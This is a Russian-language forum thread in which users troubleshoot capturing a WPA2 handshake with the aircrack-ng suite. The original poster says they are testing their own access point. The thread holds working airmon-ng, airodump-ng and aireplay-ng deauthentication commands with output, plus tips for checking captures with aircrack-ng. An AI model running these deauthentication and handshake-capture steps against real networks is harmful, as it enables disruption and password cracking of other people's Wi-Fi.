Помогите с airodump - не ловит handshake...

09.10.2012 16:05 · отредактировано #278598

День добрый, надеюсь поможете мне) Ломаю свою же точку есть 2 ноутбука - одним ломаю, 2й - использую как клиент. Ифа ниже

text

# lspci |grep Netw
03:00.0 Network controller: Intel Corporation WiFi Link 5100
# iwconfig 
eth0      no wireless extensions.
lo        no wireless extensions.
sit0      no wireless extensions.
wlan0     IEEE 802.11abg  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
# uname -r
3.4.9-gentoo

Делаю так

text

# airmon-ng start wlan0
Found 2 processes that could cause trouble.                                                                                                                                         
If airodump-ng, aireplay-ng or airtun-ng stops working after                                                                                                                        
a short period of time, you may want to kill (some of) them!
PID     Name
1853    NetworkManager                                                                                                                                                              
2033    dhcpcd 
                                                                                                        
Interface       Chipset         Driver                                                                                                                                              
wlan0           Unknown         iwlwifi - [phy0]
                                (monitor mode enabled on mon0)
# iwconfig 
mon0      IEEE 802.11abg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=15 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
          
eth0      no wireless extensions.
lo        no wireless extensions.
sit0      no wireless extensions.
wlan0     IEEE 802.11abg  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
# airodump-ng -c 9 --bssid 4C:B1:6C:DD:10:DE -w psk mon0
CH  9 ][ Elapsed: 20 s ][ 2012-10-10 03:56                                         
                                                                                                                                                                                   
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                                                
                                                                                                                                                                                   
 4C:B1:6C:DD:10:DE  -127   4      192    11250  626   9  54e. WPA2 CCMP   PSK  WirelessNet                                                                                          
                                                                                                                                                                                   
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                                         
                                                                                                                                                                                   
 4C:B1:6C:DD:10:DE  C4:46:19:23:96:68  -127    0 - 0e    97     7737

После того как пакеты дампятся запускаю

text

aireplay-ng -0 25 -a 4C:B1:6C:DD:10:DE -c C4:46:19:23:96:68 mon0
03:58:46  Waiting for beacon frame (BSSID: 4C:B1:6C:DD:10:DE) on channel 9
03:58:47  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [13|79 ACKs]
03:58:47  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [39|66 ACKs]
03:58:48  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:48  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [14|63 ACKs]
03:58:49  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [27|66 ACKs]
03:58:49  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:50  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [54|66 ACKs]
03:58:50  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:51  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:52  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|63 ACKs]
03:58:52  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:53  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:53  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:54  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:54  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|63 ACKs]
03:58:55  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:55  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:56  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:56  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:57  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:57  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [31|63 ACKs]
03:58:58  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 7|72 ACKs]
03:58:58  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]
03:58:59  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|63 ACKs]
03:58:59  Sending 64 directed DeAuth. STMAC: [C4:46:19:23:96:68] [ 0|64 ACKs]

Во время атаки пинги до ТД со второго ноута теряются но как такового отлета от сети не вижу. Так же на втором ноуте отцепляюсь и подключаюсь к ТД специально, но заветного WPA handshake не получаю...
Кто нибудь знает в чем тут дело?

15.10.2012 04:45 #279835

http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

15.10.2012 11:46 #279901

ну у меня речь о wpa...

20.10.2012 10:57 #280890

airmon-ng start wlan0 9
Также,у тебя вырисовывается:
CH 9] [Elapsed: 20s] [2012-10-10 03:56
что означает - Here is with no connected. wireless client.
Должно быть так:
CH] [Elapsed: 20s] [2012-10-10 03:56][WPA handshake: 4C:B1:6C:DD:10:DE
Нужно захватить 4-5 handshake.

25.06.2013 01:40 #326026

Иногда Handshake ловиться,но не отображается на мониторе. Проверить можно в ручную :

sudo aircrack-ng /home/ полный путь к файлу .cpa (у меня так sudo aircrack-ng /home/bandit/wpa-01.cap )

Вывод такой :

root@REAVER:~# aircrack-ng /home/bandit/2626-01.cap
Opening /home/bandit/2626-01.cap
Read 15575 packets.

# BSSID ESSID Encryption

1 A0:F3:C1:FD:FF:B0 Kyivstar26/26 WPA (1 handshake)

Choosing first network as target.

Opening /home/bandit/2626-01.cap
Please specify a dictionary (option -w).

Quitting aircrack-ng...

02.09.2013 20:15 · отредактировано #335716

Всем ку.
Такая проблема: airodump не ловит хэндшейки, думаю что из-за того что airmon стартует mon0 с fixed channel -1.
Пересобирал aircrack из svn и запускал с --ignore-negative-one airodump. Не помогло, бук хэндшейки ловит только свои.

Попробовал пропатчить драйвера вылетает ошибка:

Показать

root@max-LIFEBOOK-AH532:/home/max# cd compat-wireless-3.6.8-1/
root@max-LIFEBOOK-AH532:/home/max/compat-wireless-3.6.8-1# wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
--2013-09-02 21:21:57-- http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
Распознаётся patches.aircrack-ng.org (patches.aircrack-ng.org)... 213.186.33.2, 2001:41d0:1:1b00:213:186:33:2
Подключение к patches.aircrack-ng.org (patches.aircrack-ng.org)|213.186.33.2|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 1049 (1,0K) [text/plain]
Сохранение в: «mac80211.compat08082009.wl_frag+ack_v1.patch»

100%[=============================================================================================================>] 1 049 --.-K/s за 0s

2013-09-02 21:21:58 (25,7 MB/s) - «mac80211.compat08082009.wl_frag+ack_v1.patch» сохранён [1049/1049]

root@max-LIFEBOOK-AH532:/home/max/compat-wireless-3.6.8-1# patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
patching file net/mac80211/tx.c
Hunk #1 succeeded at 792 (offset 115 lines).
max@max-LIFEBOOK-AH532:~/compat-wireless-3.6.8-1$ ./scripts/driver-select iwlwifi
Processing new driver-select request...
Backing up makefile: Makefile.bk
Backing up makefile: drivers/net/wireless/Makefile.bk
Backup exists: Makefile.bk
Backing up makefile: net/wireless/Makefile.bk
Backing up makefile: drivers/ssb/Makefile.bk
Backing up makefile: drivers/bcma/Makefile.bk
Backing up makefile: drivers/misc/eeprom/Makefile.bk
Backup exists: Makefile.bk
root@max-LIFEBOOK-AH532:/home/max/compat-wireless-3.6.8-1# make
make -C /lib/modules/3.8.0-29-generic/build M=/home/max/compat-wireless-3.6.8-1 modules
make[1]: Вход в каталог `/usr/src/linux-headers-3.8.0-29-generic'
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/iwl-io.o
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/iwl-drv.o
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/iwl-debug.o
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/iwl-notif-wait.o
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/iwl-eeprom-read.o
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/iwl-eeprom-parse.o
CC [M] /home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/pcie/drv.o
/home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/pcie/drv.c:295:23: ошибка: expected «=», «,», «;», «asm» or «__attribute__» before «iwl_pci_remove»
/home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/pcie/drv.c:368:2: ошибка: неявная декларация функции «__devexit_p» [-Werror=implicit-function-declaration]
/home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/pcie/drv.c:368:24: ошибка: «iwl_pci_remove» undeclared here (not in a function)
cc1: некоторые предупреждения рассматриваются как ошибки
make[4]: *** [/home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi/pcie/drv.o] Ошибка 1
make[3]: *** [/home/max/compat-wireless-3.6.8-1/drivers/net/wireless/iwlwifi] Ошибка 2
make[2]: *** [/home/max/compat-wireless-3.6.8-1/drivers/net/wireless] Ошибка 2
make[1]: *** [_module_/home/max/compat-wireless-3.6.8-1] Ошибка 2
make[1]: Выход из каталога `/usr/src/linux-headers-3.8.0-29-generic'
make: *** [modules] Ошибка 2

В общем помогите люди добрые весь нет уже перерыл русско и англоязычный.
PS. Ubuntu 13.04,

03.09.2013 13:10 #335806

airmon стартует mon0 с fixed channel -1

процесс networkmanager убей сначала, а затем лишь airodump-ng
и если с первого раза не получается словить handshake, нужно набрать терпения и заново запускать aireplay-ng.